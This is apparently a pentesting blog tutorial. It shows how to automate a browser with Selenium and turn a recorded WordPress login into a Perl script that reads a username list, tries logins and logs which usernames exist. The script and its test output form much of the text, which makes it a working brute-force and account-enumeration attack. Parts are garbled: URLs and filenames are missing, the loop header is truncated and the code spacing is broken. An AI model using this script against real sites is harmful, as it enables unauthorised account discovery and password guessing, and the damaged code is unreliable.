Selenium for Web App Pentesting

There is a uptick in brute force attacks as related to web applications.  The Web Hacking Incident Database keeps track of many attacks, and compiles the results; they show that insufficient anti-automation (which includes DoS attacks, but I won’t be covering that today) are the number one cause of web site incidents. Using brute force methods are an old standby, and many of the attack proxies offer fantastic brute force abilities.  But I always find myself wanting more control, the ability to tweak things, and more intelligent functionality.  Unfortunately most of these apps are pretty rigid in the actions they can perform–if the developer didn’t think of what you want to do you are out of luck.  In these cases it isn’t so uncommon to find myself writing code in PERL, shell, PHP, Javascript, and whatever else I find I need to pull off a specific test case. Some web apps are really complex, or occasionally someone even develops an application with good session management designed to resist attack.  I recently came across an application that did just this.  The login page invalidated the user’s session, and deleted the cookies each time the page was loaded (assuming a login failure.)  In addition to this, it had CSRF protections in place, so the form had nonce values, which were tied to the session (no reuse.)  If the session and nonce weren’t validated the application threw a security warning and didn’t process the attempted login.  Performing a successful brute force attack against this setup poses a few challenges.  And neither ZAP nor Burpsuite were meeting my needs (still love em though.) This is where Selenium comes in very useful.  Selenium is a test framework, mostly used by developers and QA test folks.  It has very good potential for pen-testing too.  It is designed so that you can create a customized brute force attack script in just minutes, that would have otherwise taken hours to accomplish.  It runs it through a full featured web browser (usually FireFox, but has other hooks too) so that stuff like tracking application state, nonces, sessions, properly setting referrers and the myriad other crazy dependencies that can arise in a complex web application are handled seamlessly.  Basically it allows you to automate a web browser. I’ll give a quick demo on BackTrack Linux (Ubuntu based.)  Here is the overview:
  • Install the Selenium-IDE FireFox plugin.
  • Download the Selenium standalone server.
  • Install the PERL POD files for Selenium.
  • Record a sample login in Firefox, add some conditional checks to test for failure.
  • Export the test case as a PERL script.
  • Modify your exported PERL script to your liking.
  • Run the script through the Selenium server.
Step 1:
If your FireFox browser isn’t configured to allow add-on installation from unknown sources, you can just right click the XPI file and select “save as”.  Once it’s downloaded you can manually add it from the mozilla add-ons screen.
Then you can download and run the Selenium server:
root@backtrack:~# wget
. . .
2011-07-19 22:54:52 (1.41 MB/s) - `selenium-server-standalone-2.1.0.jar' saved [24417480/24417480]
 root@backtrack:~# java -jar ./selenium-server-standalone-2.1.0.jar
Jul 19, 2011 10:55:05 PM org.openqa.grid.selenium.GridLauncher main
INFO: Launching a standalone server
22:55:06.302 INFO - Java: Sun Microsystems Inc. 19.0-b09
. . .
22:55:06.949 INFO - Started SocketListener on
22:55:06.949 INFO - Started org.openqa.jetty.jetty.Server@6f507fb2
Now install the libraries that PERL needs:
root@backtrack:~# apt-cache search selenium
libtest-www-selenium-perl - Perl test framework using Selenium Remote Control
root@backtrack:~# apt-get install libtest-www-selenium-perl
Reading package lists... Done
. . .
Setting up libtest-www-selenium-perl (1.21-1) ...
Just for demonstration purposes, I’ll do a very simple test against wordpress.  The goal of this specific attack is to see if I can determine the existence of a login name based upon the message received after a failed login. First through the Selenium-IDE add-on I record a failed login for a valid username, and setup a condition that tests for the resulting error message.  You do this by opening the add-on from the “tools” menu, and then login.  Once the login has failed, you select some text that is presented and add a test (assertTextPresent,) that’s pretty easy. Open Selenium-IDE and ensure that you are recording. Perform the login, and select the text that indicates the login was unsuccessful. Run the test case to ensure it does what you want. Now, export the test case as a PERL script. Here is the generated script:
use strict;
use warnings;
use Time::HiRes qw(sleep);
use Test::WWW::Selenium;
use Test::More "no_plan";
use Test::Exception;
my $sel = Test::WWW::Selenium - > new(host = > "localhost", port = > 4444, browser = > "*chrome", browser_url = > "");
$sel - > open_ok("/wp-login.php");
$sel - > type_ok("id=user_login", "tag");
$sel - > type_ok("id=user_pass", "thisisnotmypassword");
$sel - > click_ok("id=wp-submit");
$sel - > wait_for_page_to_load_ok("30000");
$sel - > is_text_present_ok("Howdy, tag");
$sel - > click_ok("id=user_info_arrow");
$sel - > click_ok("//div[\@id='user_info_links']/ul/li[2]/a");
$sel - > wait_for_page_to_load_ok("30000");
Pretty cool how it lays the framework for us!  Now let’s modify it to do what we want.  Here is my modified script.  This isn’t incredibly useful, but provides an example of what can be done with this.

# This is a Selenium test script for performing brute force attacks
against wordpress
# this test reads in a file with usernames, attempts logins, and
checks for valid usernames
# a valid username gets a different error

use Time::HiRes qw(sleep);
use Time::HiRes qw(gettimeofday);

use Test::WWW::Selenium;
use Test::More "no_plan";

### This file doesn't exist, don't load.
#use Test::Exception;

my $sel = Test::WWW::Selenium->new( host => "localhost",
                                   port => 4444,
                                   browser => "*chrome",
                                   browser_url =>
"" );
# Create a log of the valid usernames.
open (LOG, ">>logfile");
print LOG "#username detection script started.\n";

# For this script, we'll just use a static password:
$password = "test123";

# Loop through each line of the file specified on the command line.
(assigned to the scalar $_)
       $success = 0;
       $sel->type_ok("id=user_login", $_);
       $sel->type_ok("id=user_pass", $password);
       # This is the text we get if a user exists on an unsuccessful login.
       $success = 1 if ($sel->is_text_present_ok("The password you entered
for ") || $sel->is_text_present_ok("Howdy, "));
       print LOG "$_\n" if $success;
} # end of while loop

print LOG "#script finished\n";
close LOG;
Now the script can be executed …
root@backtrack:~# cat usernames
root@backtrack:~# perl ./ usernames
ok 1 - open, /wp-login.php
ok 2 - type, id=user_login, test
ok 3 - type, id=user_pass, test123
ok 4 - click, id=wp-submit
ok 5 - wait_for_page_to_load, 30000
not ok 6 - is_text_present, The password you entered for
#   Failed test 'is_text_present, The password you entered for '
#   at ./ line 40.
not ok 7 - is_text_present, Howdy,
#   Failed test 'is_text_present, Howdy, '
#   at ./ line 40.
ok 8 - open, /wp-login.php
ok 9 - type, id=user_login, fake
. . .
ok 32 - wait_for_page_to_load, 30000
not ok 33 - is_text_present, The password you entered for
#   Failed test 'is_text_present, The password you entered for '
#   at ./ line 40.
not ok 34 - is_text_present, Howdy,
#   Failed test 'is_text_present, Howdy, '
#   at ./ line 40.
# Looks like you failed 8 tests of 34.
Now we can checkout the log the PERL script generated:
root@backtrack:~# cat logfile
This is a very simple example. Like I mentioned before, Selenium is really only necessary when you are up against some serious session management that you really need a full browser for. It’s slower than say Burp suite’s repeater, or just shell scripting curl. But, it’s pretty cool when you can still perform timing attacks against an application that uses session validating and nonces to make it difficult.